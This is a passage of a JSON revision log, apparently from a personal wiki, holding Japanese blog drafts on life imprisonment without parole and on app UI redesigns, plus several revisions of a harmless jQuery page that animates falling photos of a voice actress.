allowfullscreen\u003e\u003c/iframe\u003e","created_at":"2013-11-18T05:13:13.000Z","updated_at":"2013-11-18T05:13:13.000Z"},{"id":2534,"name":"text/仮釈放無し無期刑","body":"%blog% 仮釈放無し無期懲役刑を導入する時に一緒にやらないといけないこと\r\n\r\n死刑存置廃止の議論自体最近あんま見なくなった気もするんですが。\r\n\r\n死刑廃止して、仮釈放無しの無期懲役刑を導入すべし、という論がよくあると思うのですが、\r\n\r\n- 仮釈放が無い無期懲役刑の受刑者は、刑務所無いでいかなる犯罪を犯したところで特にデメリットが無いので簡単に人を殺す可能性がある\r\n - アメリカで懲役 400 年とかなってる人結構刑務所内で人を殺すようです\r\n- 日本は刑務官の数が少ない\r\n\r\nというのがあるので刑務官の増員とかも必要なんじゃないかなあとかディスカバリーチャンネルの刑務所ドキュメンタリー番組を見ていて思った次第です。","created_at":"2013-11-19T07:05:31.000Z","updated_at":"2013-11-19T07:05:31.000Z"},{"id":2535,"name":"text/仮釈放無し無期刑","body":"%blog% 仮釈放無し無期懲役刑を導入する時に一緒にやらないといけないこと\r\n\r\n死刑存置廃止の議論自体最近あんま見なくなった気もするんですが。\r\n\r\n死刑廃止して、仮釈放無しの無期懲役刑を導入すべし、という論がよくあると思うのですが、\r\n\r\n- 仮釈放が無い無期懲役刑の受刑者は、刑務所でいかなる犯罪を犯したところで特にデメリットが無いので簡単に人を殺す可能性がある\r\n - アメリカで懲役 400 年とかなってる人結構刑務所内で人を殺すようです\r\n- 日本は刑務官の数が少ない\r\n\r\nというのがあるので刑務官の増員とかも必要なんじゃないかなあとかディスカバリーチャンネルの刑務所ドキュメンタリー番組を見ていて思った次第です。","created_at":"2013-11-19T07:07:46.000Z","updated_at":"2013-11-19T07:07:46.000Z"},{"id":2536,"name":"text/最高の UI がどうたらこうたら","body":"%blog%\r\n\r\n- https://plus.google.com/107002572043873162468/posts/4sBboJT6GMW\r\n- http://blog.toshimaru.net/cool-ui/\r\n\r\nこの辺の話。正直こいつらただのバカだとは思うんですが、\r\n\r\n- [Gunosy が多機能化したら不評だったので旧 UI を別アプリで出した話\r\n](http://hitoxu.com/02916)\r\n- [FxCamera が SNS 機能追加したら不評だったので旧 UI を別アプリで出した話](http://dc.watch.impress.co.jp/docs/review/app/20131025_620693.html)\r\n\r\nみたいなダサいことになるくらいなら masarakki さんの精神性を見習ったほうがまだマシじゃないかと思います。正しいと思ってやったことがユーザーからダサいと判定されたときは、「これが最高にクールなんだ!!!」と主張しつつしれっと不評な部分を直していくぐらいのほうがいいと思います。\r\n\r\nそのほうが自分や開発者のプライドを防衛できるし、プライドの防衛というのはよいアプリケーションの開発の為に実は必須のものです(そうじゃないと開発者すぐ辞職しちゃうので)。","created_at":"2013-11-22T15:45:23.000Z","updated_at":"2013-11-22T15:45:23.000Z"},{"id":2537,"name":"text/最高の UI がどうたらこうたら","body":"%blog%\r\n\r\n- https://plus.google.com/107002572043873162468/posts/4sBboJT6GMW\r\n- http://blog.toshimaru.net/cool-ui/\r\n\r\nこの辺の話。正直こいつらただのバカだとは思うんですが、\r\n\r\n- [Gunosy が多機能化したら不評だったので旧 UI を別アプリで出した話\r\n](http://hitoxu.com/02916)\r\n- [FxCamera が SNS 機能追加したら不評だったので旧 UI を別アプリで出した話](http://dc.watch.impress.co.jp/docs/review/app/20131025_620693.html)\r\n\r\nみたいなダサいことになるくらいなら masarakki さんの精神性を見習ったほうがまだマシじゃないかと思います。正しいと思ってやったことがユーザーからダサいと判定されたときは、「これが最高にクールなんだ!!!」と主張しつつしれっと不評な部分を直していくぐらいのほうがいいと思います。\r\n\r\nそのほうが自分や開発者のプライドを防衛できるし、プライドの防衛というのはよいアプリケーションの開発の為に実は必須のものです(そうじゃないと開発者すぐ辞職しちゃうので)。\r\n\r\nあと masarakki はさっさとニコニコ動画のコメント入力欄を Flash から HTML に移してくれ。","created_at":"2013-11-22T15:46:22.000Z","updated_at":"2013-11-22T15:46:22.000Z"},{"id":2538,"name":"yui","body":"raw\r\n\u003c!DOCTYPE html\u003e\r\n\u003chtml\u003e\r\n \u003c!--\r\n Created using jsbin.com\r\n Source can be edited via http://jsbin.com/AkotAqo/2/edit\r\n --\u003e\r\n \u003chead\u003e\r\n \u003cscript src=\"http://ajax.googleapis.com/ajax/libs/jquery/2.0.2/jquery.min.js\"\u003e\u003c/script\u003e\r\n \u003cmeta charset=utf-8 /\u003e\r\n \u003ctitle\u003eRandom Yui Ogura\u003c/title\u003e\r\n\r\n \u003cstyle id=\"jsbin-css\"\u003e\r\n html, body, #main, #viewer {\r\n width: 100%;\r\n height: 100%;\r\n margin: 0;\r\n padding: 0;\r\n overflow: hidden;\r\n }\r\n\r\n #config {\r\n margin: 12px 24px;\r\n }\r\n\r\n #box {\r\n position: relative;\r\n width: 100%;\r\n height: 100%; \r\n }\r\n\r\n .photo {\r\n margin: 0;\r\n padding: 0;\r\n position: absolute;\r\n }\r\n .photo.transition {\r\n -webkit-transition: all 3s ease-in-out;\r\n -moz-transition: all 3s ease-in-out;\r\n -o-transition: all 3s ease-in-out;\r\n transition: all 3s ease-in-out;\r\n }\r\n\r\n .photo img {\r\n max-width: 140px;\r\n margin: 0;\r\n padding: 3px;\r\n background: white;\r\n box-shadow: 3px 3px 6px rgba(0, 0, 0, .5);\r\n border: 1px solid rgba(0, 0, 0, .2);\r\n }\r\n\r\n .error {\r\n border: 1px solid red;\r\n }\r\n\r\n \u003c/style\u003e\r\n \u003c/head\u003e\r\n \u003cbody\u003e\r\n \u003cdiv id=\"main\"\u003e\r\n \u003cdiv id=\"viewer\"\u003e\r\n \u003cdiv id=\"box\"\u003e\u003c/div\u003e\r\n \u003c/div\u003e\r\n \u003c/div\u003e \r\n \u003cscript\u003e\r\n var YuiOguraViewer = function() { this.initialize.apply(this, arguments); };\r\n YuiOguraViewer.prototype = {\r\n initialize: function(options) {\r\n var settings = $.extend({\r\n container: \"#box\",\r\n photoSize: 250\r\n }, options);\r\n\r\n this.container = $(settings.container);\r\n this.photoSize = settings.photoSize;\r\n this.posts = [];\r\n },\r\n randInt: function(min, max) {\r\n return Math.floor(min + (Math.random() * (max - min)));\r\n },\r\n appendItem: function(from, to) {\r\n var self = this;\r\n var post = self.posts.shift();\r\n var $image = $(\"\u003cimg\u003e\")\r\n .attr({\r\n src: \"http://api.s5r.jp/yui.jpg?\" + (new Date()).getTime()\r\n });\r\n $image.load(function() {\r\n var $wrapper = $(\"\u003cdiv\u003e\")\r\n .addClass(\"photo transition\")\r\n .css({\r\n top: self.randInt(0, 80) + \"%\",\r\n left: self.randInt(0, 80) + \"%\"\r\n })\r\n .css(from)\r\n .append($image)\r\n .appendTo(self.container);\r\n\r\n setTimeout(function() { $wrapper.css(to); }, 1);\r\n $.each([\"webkitTransitionEnd\", \"oTransitionEnd\", \"transitionend\"], function(i, name) {\r\n $wrapper.on(name, function() {\r\n $wrapper.removeClass(\"transition\");\r\n $wrapper.draggable({\r\n cursor: \"move\",\r\n stack: \"#box\"\r\n });\r\n });\r\n });\r\n });\r\n },\r\n fall: function() {\r\n var rotateFrom = this.randInt(-30, 30);\r\n var rotateTo = this.randInt(-30, 30);\r\n\r\n this.appendItem({\r\n \"opacity\": 0.0,\r\n \"-webkit-transform\": \"scale(3.0) rotate(\"+rotateFrom+\"deg)\",\r\n \"-moz-transform\": \"scale(3.0) rotate(\"+rotateFrom+\"deg)\",\r\n \"-o-transform\": \"scale(3.0) rotate(\"+rotateFrom+\"deg)\",\r\n \"transform\": \"scale(3.0) rotate(\"+rotateFrom+\"deg)\"\r\n }, {\r\n \"opacity\": 1.0,\r\n \"-webkit-transform\": \"scale(1.0) rotate(\"+rotateTo+\"deg)\",\r\n \"-moz-transform\": \"scale(1.0) rotate(\"+rotateTo+\"deg)\",\r\n \"-o-transform\": \"scale(1.0) rotate(\"+rotateTo+\"deg)\",\r\n \"transform\": \"scale(1.0) rotate(\"+rotateTo+\"deg)\"\r\n });\r\n }\r\n };\r\n\r\n $(function() {\r\n viewer = new YuiOguraViewer({\r\n container: \"#box\"\r\n });\r\n setInterval(function() {\r\n viewer.fall();\r\n }, 250);\r\n });\r\n \u003c/script\u003e\r\n \u003c/body\u003e\r\n \u003c/html\u003e\r\n","created_at":"2013-11-22T16:01:00.000Z","updated_at":"2013-11-22T16:01:00.000Z"},{"id":2539,"name":"yui","body":"raw html\r\n\u003c!DOCTYPE html\u003e\r\n\u003chtml\u003e\r\n \u003c!--\r\n Created using jsbin.com\r\n Source can be edited via http://jsbin.com/AkotAqo/2/edit\r\n --\u003e\r\n \u003chead\u003e\r\n \u003cscript src=\"http://ajax.googleapis.com/ajax/libs/jquery/2.0.2/jquery.min.js\"\u003e\u003c/script\u003e\r\n \u003cmeta charset=utf-8 /\u003e\r\n \u003ctitle\u003eRandom Yui Ogura\u003c/title\u003e\r\n\r\n \u003cstyle id=\"jsbin-css\"\u003e\r\n html, body, #main, #viewer {\r\n width: 100%;\r\n height: 100%;\r\n margin: 0;\r\n padding: 0;\r\n overflow: hidden;\r\n }\r\n\r\n #config {\r\n margin: 12px 24px;\r\n }\r\n\r\n #box {\r\n position: relative;\r\n width: 100%;\r\n height: 100%; \r\n }\r\n\r\n .photo {\r\n margin: 0;\r\n padding: 0;\r\n position: absolute;\r\n }\r\n .photo.transition {\r\n -webkit-transition: all 3s ease-in-out;\r\n -moz-transition: all 3s ease-in-out;\r\n -o-transition: all 3s ease-in-out;\r\n transition: all 3s ease-in-out;\r\n }\r\n\r\n .photo img {\r\n max-width: 140px;\r\n margin: 0;\r\n padding: 3px;\r\n background: white;\r\n box-shadow: 3px 3px 6px rgba(0, 0, 0, .5);\r\n border: 1px solid rgba(0, 0, 0, .2);\r\n }\r\n\r\n .error {\r\n border: 1px solid red;\r\n }\r\n\r\n \u003c/style\u003e\r\n \u003c/head\u003e\r\n \u003cbody\u003e\r\n \u003cdiv id=\"main\"\u003e\r\n \u003cdiv id=\"viewer\"\u003e\r\n \u003cdiv id=\"box\"\u003e\u003c/div\u003e\r\n \u003c/div\u003e\r\n \u003c/div\u003e \r\n \u003cscript\u003e\r\n var YuiOguraViewer = function() { this.initialize.apply(this, arguments); };\r\n YuiOguraViewer.prototype = {\r\n initialize: function(options) {\r\n var settings = $.extend({\r\n container: \"#box\",\r\n photoSize: 250\r\n }, options);\r\n\r\n this.container = $(settings.container);\r\n this.photoSize = settings.photoSize;\r\n this.posts = [];\r\n },\r\n randInt: function(min, max) {\r\n return Math.floor(min + (Math.random() * (max - min)));\r\n },\r\n appendItem: function(from, to) {\r\n var self = this;\r\n var post = self.posts.shift();\r\n var $image = $(\"\u003cimg\u003e\")\r\n .attr({\r\n src: \"http://api.s5r.jp/yui.jpg?\" + (new Date()).getTime()\r\n });\r\n $image.load(function() {\r\n var $wrapper = $(\"\u003cdiv\u003e\")\r\n .addClass(\"photo transition\")\r\n .css({\r\n top: self.randInt(0, 80) + \"%\",\r\n left: self.randInt(0, 80) + \"%\"\r\n })\r\n .css(from)\r\n .append($image)\r\n .appendTo(self.container);\r\n\r\n setTimeout(function() { $wrapper.css(to); }, 1);\r\n $.each([\"webkitTransitionEnd\", \"oTransitionEnd\", \"transitionend\"], function(i, name) {\r\n $wrapper.on(name, function() {\r\n $wrapper.removeClass(\"transition\");\r\n $wrapper.draggable({\r\n cursor: \"move\",\r\n stack: \"#box\"\r\n });\r\n });\r\n });\r\n });\r\n },\r\n fall: function() {\r\n var rotateFrom = this.randInt(-30, 30);\r\n var rotateTo = this.randInt(-30, 30);\r\n\r\n this.appendItem({\r\n \"opacity\": 0.0,\r\n \"-webkit-transform\": \"scale(3.0) rotate(\"+rotateFrom+\"deg)\",\r\n \"-moz-transform\": \"scale(3.0) rotate(\"+rotateFrom+\"deg)\",\r\n \"-o-transform\": \"scale(3.0) rotate(\"+rotateFrom+\"deg)\",\r\n \"transform\": \"scale(3.0) rotate(\"+rotateFrom+\"deg)\"\r\n }, {\r\n \"opacity\": 1.0,\r\n \"-webkit-transform\": \"scale(1.0) rotate(\"+rotateTo+\"deg)\",\r\n \"-moz-transform\": \"scale(1.0) rotate(\"+rotateTo+\"deg)\",\r\n \"-o-transform\": \"scale(1.0) rotate(\"+rotateTo+\"deg)\",\r\n \"transform\": \"scale(1.0) rotate(\"+rotateTo+\"deg)\"\r\n });\r\n }\r\n };\r\n\r\n $(function() {\r\n viewer = new YuiOguraViewer({\r\n container: \"#box\"\r\n });\r\n setInterval(function() {\r\n viewer.fall();\r\n }, 250);\r\n });\r\n \u003c/script\u003e\r\n \u003c/body\u003e\r\n \u003c/html\u003e\r\n","created_at":"2013-11-22T16:01:07.000Z","updated_at":"2013-11-22T16:01:07.000Z"},{"id":2540,"name":"yui","body":"raw\r\nmime html\r\n\u003c!DOCTYPE html\u003e\r\n\u003chtml\u003e\r\n \u003c!--\r\n Created using jsbin.com\r\n Source can be edited via http://jsbin.com/AkotAqo/2/edit\r\n --\u003e\r\n \u003chead\u003e\r\n \u003cscript src=\"http://ajax.googleapis.com/ajax/libs/jquery/2.0.2/jquery.min.js\"\u003e\u003c/script\u003e\r\n \u003cmeta charset=utf-8 /\u003e\r\n \u003ctitle\u003eRandom Yui Ogura\u003c/title\u003e\r\n\r\n \u003cstyle id=\"jsbin-css\"\u003e\r\n html, body, #main, #viewer {\r\n width: 100%;\r\n height: 100%;\r\n margin: 0;\r\n padding: 0;\r\n overflow: hidden;\r\n }\r\n\r\n #config {\r\n margin: 12px 24px;\r\n }\r\n\r\n #box {\r\n position: relative;\r\n width: 100%;\r\n height: 100%; \r\n }\r\n\r\n .photo {\r\n margin: 0;\r\n padding: 0;\r\n position: absolute;\r\n }\r\n .photo.transition {\r\n -webkit-transition: all 3s ease-in-out;\r\n -moz-transition: all 3s ease-in-out;\r\n -o-transition: all 3s ease-in-out;\r\n transition: all 3s ease-in-out;\r\n }\r\n\r\n .photo img {\r\n max-width: 140px;\r\n margin: 0;\r\n padding: 3px;\r\n background: white;\r\n box-shadow: 3px 3px 6px rgba(0, 0, 0, .5);\r\n border: 1px solid rgba(0, 0, 0, .2);\r\n }\r\n\r\n .error {\r\n border: 1px solid red;\r\n }\r\n\r\n \u003c/style\u003e\r\n \u003c/head\u003e\r\n \u003cbody\u003e\r\n \u003cdiv id=\"main\"\u003e\r\n \u003cdiv id=\"viewer\"\u003e\r\n \u003cdiv id=\"box\"\u003e\u003c/div\u003e\r\n \u003c/div\u003e\r\n \u003c/div\u003e \r\n \u003cscript\u003e\r\n var YuiOguraViewer = function() { this.initialize.apply(this, arguments); };\r\n YuiOguraViewer.prototype = {\r\n initialize: function(options) {\r\n var settings = $.extend({\r\n container: \"#box\",\r\n photoSize: 250\r\n }, options);\r\n\r\n this.container = $(settings.container);\r\n this.photoSize = settings.photoSize;\r\n this.posts = [];\r\n },\r\n randInt: function(min, max) {\r\n return Math.floor(min + (Math.random() * (max - min)));\r\n },\r\n appendItem: function(from, to) {\r\n var self = this;\r\n var post = self.posts.shift();\r\n var $image = $(\"\u003cimg\u003e\")\r\n .attr({\r\n src: \"http://api.s5r.jp/yui.jpg?\" + (new Date()).getTime()\r\n });\r\n $image.load(function() {\r\n var $wrapper = $(\"\u003cdiv\u003e\")\r\n .addClass(\"photo transition\")\r\n .css({\r\n top: self.randInt(0, 80) + \"%\",\r\n left: self.randInt(0, 80) + \"%\"\r\n })\r\n .css(from)\r\n .append($image)\r\n .appendTo(self.container);\r\n\r\n setTimeout(function() { $wrapper.css(to); }, 1);\r\n $.each([\"webkitTransitionEnd\", \"oTransitionEnd\", \"transitionend\"], function(i, name) {\r\n $wrapper.on(name, function() {\r\n $wrapper.removeClass(\"transition\");\r\n $wrapper.draggable({\r\n cursor: \"move\",\r\n stack: \"#box\"\r\n });\r\n });\r\n });\r\n });\r\n },\r\n fall: function() {\r\n var rotateFrom = this.randInt(-30, 30);\r\n var rotateTo = this.randInt(-30, 30);\r\n\r\n this.appendItem({\r\n \"opacity\": 0.0,\r\n \"-webkit-transform\": \"scale(3.0) rotate(\"+rotateFrom+\"deg)\",\r\n \"-moz-transform\": \"scale(3.0) rotate(\"+rotateFrom+\"deg)\",\r\n \"-o-transform\": \"scale(3.0) rotate(\"+rotateFrom+\"deg)\",\r\n \"transform\": \"scale(3.0) rotate(\"+rotateFrom+\"deg)\"\r\n }, {\r\n \"opacity\": 1.0,\r\n \"-webkit-transform\": \"scale(1.0) rotate(\"+rotateTo+\"deg)\",\r\n \"-moz-transform\": \"scale(1.0) rotate(\"+rotateTo+\"deg)\",\r\n \"-o-transform\": \"scale(1.0) rotate(\"+rotateTo+\"deg)\",\r\n \"transform\": \"scale(1.0) rotate(\"+rotateTo+\"deg)\"\r\n });\r\n }\r\n };\r\n\r\n $(function() {\r\n viewer = new YuiOguraViewer({\r\n container: \"#box\"\r\n });\r\n setInterval(function() {\r\n viewer.fall();\r\n }, 250);\r\n });\r\n \u003c/script\u003e\r\n \u003c/body\u003e\r\n \u003c/html\u003e\r\n","created_at":"2013-11-22T16:01:31.000Z","updated_at":"2013-11-22T16:01:31.000Z"},{"id":2541,"name":"yui","body":"raw\r\nmime html\r\n\u003c!DOCTYPE html\u003e\r\n\u003chtml\u003e\r\n \u003c!--\r\n Created using jsbin.com\r\n Source can be edited via http://jsbin.com/AkotAqo/2/edit\r\n --\u003e\r\n \u003chead\u003e\r\n \u003cscript src=\"http://ajax.googleapis.com/ajax/libs/jquery/2.0.2/jquery.min.js\"\u003e\u003c/script\u003e\r\n \u003cmeta charset=utf-8 /\u003e\r\n \u003ctitle\u003eRandom Yui Ogura\u003c/title\u003e\r\n\r\n \u003cstyle id=\"jsbin-css\"\u003e\r\n html, body, #main, #viewer {\r\n width: 100%;\r\n height: 100%;\r\n margin: 0;\r\n padding: 0;\r\n overflow: hidden;\r\n }\r\n\r\n #config {\r\n margin: 12px 24px;\r\n }\r\n\r\n #box {\r\n position: relative;\r\n width: 100%;\r\n height: 100%; \r\n }\r\n\r\n .photo {\r\n margin: 0;\r\n padding: 0;\r\n position: absolute;\r\n }\r\n .photo.transition {\r\n -webkit-transition: all 3s ease-in-out;\r\n -moz-transition: all 3s ease-in-out;\r\n -o-transition: all 3s ease-in-out;\r\n transition: all 3s ease-in-out;\r\n }\r\n\r\n .photo img {\r\n max-width: 140px;\r\n margin: 0;\r\n padding: 3px;\r\n background: white;\r\n box-shadow: 3px 3px 6px rgba(0, 0, 0, .5);\r\n border: 1px solid rgba(0, 0, 0, .2);\r\n }\r\n\r\n .error {\r\n border: 1px solid red;\r\n }\r\n\r\n \u003c/style\u003e\r\n \u003c/head\u003e\r\n \u003cbody\u003e\r\n \u003cdiv id=\"main\"\u003e\r\n \u003cdiv id=\"viewer\"\u003e\r\n \u003cdiv id=\"box\"\u003e\u003c/div\u003e\r\n \u003c/div\u003e\r\n \u003c/div\u003e \r\n \u003cscript\u003e\r\n var YuiOguraViewer = function() { this.initialize.apply(this, arguments); };\r\n YuiOguraViewer.prototype = {\r\n initialize: function(options) {\r\n var settings = $.extend({\r\n container: \"#box\",\r\n photoSize: 250\r\n }, options);\r\n\r\n this.container = $(settings.container);\r\n this.photoSize = settings.photoSize;\r\n this.posts = [];\r\n },\r\n randInt: function(min, max) {\r\n return Math.floor(min + (Math.random() * (max - min)));\r\n },\r\n appendItem: function(from, to) {\r\n var self = this;\r\n var post = self.posts.shift();\r\n var $image = $(\"\u003cimg\u003e\")\r\n .attr({\r\n src: \"http://api.s5r.jp/yui.jpg?\" + (new Date()).getTime()\r\n });\r\n $image.load(function() {\r\n var $wrapper = $(\"\u003cdiv\u003e\")\r\n .addClass(\"photo transition\")\r\n .css({\r\n top: self.randInt(0, 80) + \"%\",\r\n left: self.randInt(0, 80) + \"%\"\r\n })\r\n .css(from)\r\n .append($image)\r\n .appendTo(self.container);\r\n\r\n setTimeout(function() { $wrapper.css(to); }, 1);\r\n $.each([\"webkitTransitionEnd\", \"oTransitionEnd\", \"transitionend\"], function(i, name) {\r\n $wrapper.on(name, function() {\r\n $wrapper.removeClass(\"transition\");\r\n $wrapper.draggable({\r\n cursor: \"move\",\r\n stack: \"#box\"\r\n });\r\n });\r\n });\r\n });\r\n },\r\n fall: function() {\r\n var rotateFrom = this.randInt(-30, 30);\r\n var rotateTo = this.randInt(-30, 30);\r\n\r\n this.appendItem({\r\n \"opacity\": 0.0,\r\n \"-webkit-transform\": \"scale(3.0) rotate(\"+rotateFrom+\"deg)\",\r\n \"-moz-transform\": \"scale(3.0) rotate(\"+rotateFrom+\"deg)\",\r\n \"-o-transform\": \"scale(3.0) rotate(\"+rotateFrom+\"deg)\",\r\n \"transform\": \"scale(3.0) rotate(\"+rotateFrom+\"deg)\"\r\n }, {\r\n \"opacity\": 1.0,\r\n \"-webkit-transform\": \"scale(1.0) rotate(\"+rotateTo+\"deg)\",\r\n \"-moz-transform\": \"scale(1.0) rotate(\"+rotateTo+\"deg)\",\r\n \"-o-transform\": \"scale(1.0) rotate(\"+rotateTo+\"deg)\",\r\n \"transform\": \"scale(1.0) rotate(\"+rotateTo+\"deg)\"\r\n });\r\n }\r\n };\r\n\r\n $(function() {\r\n viewer = new YuiOguraViewer({\r\n container: \"#box\"\r\n });\r\n setInterval(function() {\r\n viewer.fall();\r\n if($('.photo').length \u003e 50){\r\n $('.photo').remove();\r\n }\r\n }, 250);\r\n });\r\n \u003c/script\u003e\r\n \u003c/body\u003e\r\n \u003c/html\u003e","created_at":"2013-11-22T16:03:18.000Z","updated_at":"2013-11-22T16:03:18.000Z"},{"id":2542,"name":"yui","body":"raw\r\nmime html\r\n\u003c!DOCTYPE html\u003e\r\n\u003chtml\u003e\r\n \u003c!--\r\n Created using jsbin.com\r\n Source can be edited via http://jsbin.com/AkotAqo/2/edit\r\n --\u003e\r\n \u003chead\u003e\r\n \u003cscript src=\"http://ajax.googleapis.com/ajax/libs/jquery/2.0.2/jquery.min.js\"\u003e\u003c/script\u003e\r\n \u003cmeta charset=utf-8 /\u003e\r\n \u003ctitle\u003eRandom Yui Ogura\u003c/title\u003e\r\n\r\n \u003cstyle id=\"jsbin-css\"\u003e\r\n html, body, #main, #viewer {\r\n width: 100%;\r\n height: 100%;\r\n margin: 0;\r\n padding: 0;\r\n overflow: hidden;\r\n }\r\n\r\n #config {\r\n margin: 12px 24px;\r\n }\r\n\r\n #box {\r\n position: relative;\r\n width: 100%;\r\n height: 100%; \r\n }\r\n\r\n .photo {\r\n margin: 0;\r\n padding: 0;\r\n position: absolute;\r\n }\r\n .photo.transition {\r\n -webkit-transition: all 3s ease-in-out;\r\n -moz-transition: all 3s ease-in-out;\r\n -o-transition: all 3s ease-in-out;\r\n transition: all 3s ease-in-out;\r\n }\r\n\r\n .photo img {\r\n max-width: 140px;\r\n margin: 0;\r\n padding: 3px;\r\n background: white;\r\n box-shadow: 3px 3px 6px rgba(0, 0, 0, .5);\r\n border: 1px solid rgba(0, 0, 0, .2);\r\n }\r\n\r\n .error {\r\n border: 1px solid red;\r\n }\r\n\r\n \u003c/style\u003e\r\n \u003c/head\u003e\r\n \u003cbody\u003e\r\n \u003cdiv id=\"main\"\u003e\r\n \u003cdiv id=\"viewer\"\u003e\r\n \u003cdiv id=\"box\"\u003e\u003c/div\u003e\r\n \u003c/div\u003e\r\n \u003c/div\u003e \r\n \u003cscript\u003e\r\n var YuiOguraViewer = function() { this.initialize.apply(this, arguments); };\r\n YuiOguraViewer.prototype = {\r\n initialize: function(options) {\r\n var settings = $.extend({\r\n container: \"#box\",\r\n photoSize: 250\r\n }, options);\r\n\r\n this.container = $(settings.container);\r\n this.photoSize = settings.photoSize;\r\n this.posts = [];\r\n },\r\n randInt: function(min, max) {\r\n return Math.floor(min + (Math.random() * (max - min)));\r\n },\r\n appendItem: function(from, to) {\r\n var self = this;\r\n var post = self.posts.shift();\r\n var $image = $(\"\u003cimg\u003e\")\r\n .attr({\r\n src: \"http://api.s5r.jp/yui.jpg?\" + (new Date()).getTime()\r\n });\r\n $image.load(function() {\r\n var $wrapper = $(\"\u003cdiv\u003e\")\r\n .addClass(\"photo transition\")\r\n .css({\r\n top: self.randInt(0, 80) + \"%\",\r\n left: self.randInt(0, 80) + \"%\"\r\n })\r\n .css(from)\r\n .append($image)\r\n .appendTo(self.container);\r\n\r\n setTimeout(function() { $wrapper.css(to); }, 1);\r\n $.each([\"webkitTransitionEnd\", \"oTransitionEnd\", \"transitionend\"], function(i, name) {\r\n $wrapper.on(name, function() {\r\n $wrapper.removeClass(\"transition\");\r\n \r\n });\r\n });\r\n });\r\n },\r\n fall: function() {\r\n var rotateFrom = this.randInt(-30, 30);\r\n var rotateTo = this.randInt(-30, 30);\r\n\r\n this.appendItem({\r\n \"opacity\": 0.0,\r\n \"-webkit-transform\": \"scale(3.0) rotate(\"+rotateFrom+\"deg)\",\r\n \"-moz-transform\": \"scale(3.0) rotate(\"+rotateFrom+\"deg)\",\r\n \"-o-transform\": \"scale(3.0) rotate(\"+rotateFrom+\"deg)\",\r\n \"transform\": \"scale(3.0) rotate(\"+rotateFrom+\"deg)\"\r\n }, {\r\n \"opacity\": 1.0,\r\n \"-webkit-transform\": \"scale(1.0) rotate(\"+rotateTo+\"deg)\",\r\n \"-moz-transform\": \"scale(1.0) rotate(\"+rotateTo+\"deg)\",\r\n \"-o-transform\": \"scale(1.0) rotate(\"+rotateTo+\"deg)\",\r\n \"transform\": \"scale(1.0) rotate(\"+rotateTo+\"deg)\"\r\n });\r\n }\r\n };\r\n\r\n $(function() {\r\n viewer = new YuiOguraViewer({\r\n container: \"#box\"\r\n });\r\n setInterval(function() {\r\n viewer.fall();\r\n if($('.photo').length \u003e 50){\r\n $('.photo').remove();\r\n }\r\n }, 250);\r\n });\r\n \u003c/script\u003e\r\n \u003c/body\u003e\r\n \u003c/html\u003e","created_at":"2013-11-22T16:04:16.000Z","updated_at":"2013-11-22T16:04:16.000Z"},{"id":2543,"name":"yui","body":"raw\r\nmime html\r\n\u003c!DOCTYPE html\u003e\r\n\u003chtml\u003e\r\n \u003c!--\r\n Created using jsbin.com\r\n Source can be edited via http://jsbin.com/AkotAqo/2/edit\r\n --\u003e\r\n \u003chead\u003e\r\n \u003cscript src=\"http://ajax.googleapis.com/ajax/libs/jquery/2.0.2/jquery.min.js\"\u003e\u003c/script\u003e\r\n \u003cmeta charset=utf-8 /\u003e\r\n \u003ctitle\u003eRandom Yui Ogura\u003c/title\u003e\r\n\r\n \u003cstyle id=\"jsbin-css\"\u003e\r\n html, body, #main, #viewer {\r\n width: 100%;\r\n height: 100%;\r\n margin: 0;\r\n padding: 0;\r\n overflow: hidden;\r\n }\r\n\r\n #config {\r\n margin: 12px 24px;\r\n }\r\n\r\n #box {\r\n position: relative;\r\n width: 100%;\r\n height: 100%; \r\n }\r\n\r\n .photo {\r\n margin: 0;\r\n padding: 0;\r\n position: absolute;\r\n }\r\n .photo.transition {\r\n -webkit-transition: all 3s ease-in-out;\r\n -moz-transition: all 3s ease-in-out;\r\n -o-transition: all 3s ease-in-out;\r\n transition: all 3s ease-in-out;\r\n }\r\n\r\n .photo img {\r\n max-width: 140px;\r\n margin: 0;\r\n padding: 3px;\r\n background: white;\r\n box-shadow: 3px 3px 6px rgba(0, 0, 0, .5);\r\n border: 1px solid rgba(0, 0, 0, .2);\r\n }\r\n\r\n .error {\r\n border: 1px solid red;\r\n }\r\n\r\n \u003c/style\u003e\r\n \u003c/head\u003e\r\n \u003cbody\u003e\r\n \u003cdiv id=\"main\"\u003e\r\n \u003cdiv id=\"viewer\"\u003e\r\n \u003cdiv id=\"box\"\u003e\u003c/div\u003e\r\n \u003c/div\u003e\r\n \u003c/div\u003e \r\n \u003cscript\u003e\r\n var YuiOguraViewer = function() { this.initialize.apply(this, arguments); };\r\n YuiOguraViewer.prototype = {\r\n initialize: function(options) {\r\n var settings = $.extend({\r\n container: \"#box\",\r\n photoSize: 250\r\n }, options);\r\n\r\n this.container = $(settings.container);\r\n this.photoSize = settings.photoSize;\r\n this.posts = [];\r\n },\r\n randInt: function(min, max) {\r\n return Math.floor(min + (Math.random() * (max - min)));\r\n },\r\n appendItem: function(from, to) {\r\n var self = this;\r\n var post = self.posts.shift();\r\n var $image = $(\"\u003cimg\u003e\")\r\n .attr({\r\n src: \"http://api.s5r.jp/yui.jpg?\" + (new Date()).getTime()\r\n });\r\n $image.load(function() {\r\n var $wrapper = $(\"\u003cdiv\u003e\")\r\n .addClass(\"photo transition\")\r\n .css({\r\n top: self.randInt(0, 80) + \"%\",\r\n left: self.randInt(0, 80) + \"%\"\r\n })\r\n .css(from)\r\n .append($image)\r\n .appendTo(self.container);\r\n\r\n setTimeout(function() { $wrapper.css(to); }, 1);\r\n $.each([\"webkitTransitionEnd\", \"oTransitionEnd\", \"transitionend\"], function(i, name) {\r\n $wrapper.on(name, function() {\r\n $wrapper.removeClass(\"transition\");\r\n \r\n });\r\n });\r\n });\r\n },\r\n fall: function() {\r\n var rotateFrom = this.randInt(-30, 30);\r\n var rotateTo = this.randInt(-30, 30);\r\n\r\n this.appendItem({\r\n \"opacity\": 0.0,\r\n \"-webkit-transform\": \"scale(3.0) rotate(\"+rotateFrom+\"deg)\",\r\n \"-moz-transform\": \"scale(3.0) rotate(\"+rotateFrom+\"deg)\",\r\n \"-o-transform\": \"scale(3.0) rotate(\"+rotateFrom+\"deg)\",\r\n \"transform\": \"scale(3.0) rotate(\"+rotateFrom+\"deg)\"\r\n }, {\r\n \"opacity\": 1.0,\r\n \"-webkit-transform\": \"scale(1.0) rotate(\"+rotateTo+\"deg)\",\r\n \"-moz-transform\": \"scale(1.0) rotate(\"+rotateTo+\"deg)\",\r\n \"-o-transform\": \"scale(1.0) rotate(\"+rotateTo+\"deg)\",\r\n \"transform\": \"scale(1.0) 